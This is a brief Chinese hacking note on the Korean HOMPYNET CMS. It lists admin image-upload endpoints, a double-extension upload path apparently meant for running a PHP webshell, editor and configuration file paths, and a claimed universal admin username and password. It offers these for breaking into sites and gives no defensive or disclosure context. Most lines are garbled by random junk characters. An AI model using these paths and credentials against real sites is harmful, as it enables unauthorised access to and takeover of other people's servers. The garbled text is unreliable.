韩国HOMPYNET CMS多个漏洞

admin

上传漏洞

3 ^, l9 c$ m& k) @URL: /admin/image_admin3.php?boardid=&iname=&iform=

  C6 c3 {+ w- a' }' `+ h0 R. E/admin/image_admin2.php?boardid=&iname=&iform=
1 l6 x$ X. L7 c+ J2 D8 h# I
1 k6 z; ^* S, [% Y! I- i上传后路径：
/ Y2 J9 ^7 S  A# D8 O
* c7 z) j1 ^2 s2 n6 Z1 L- r5 A/bis_web_page/images/t.php.en
5 z$ f2 W5 m0 A' w
编辑器：
. O, h# f: t% M
/admin/editor/SWE.php

! j/ e' j# _4 _8 Z+ D  O: T/program/editor/SWE.php

7 X3 I6 l, n' c( K' h" K; f数据配置文件路径：
! c! J  j2 ~# C; _# v) ]& X
3 @" K& E! b! ~, h/m_config/DATA/g_setting.php
) Q1 I* R5 H( y& v
此程序通用后台账号 ：
% Y/ N4 K' J& Q# r8 p! x
账号：gamsiw  密码php99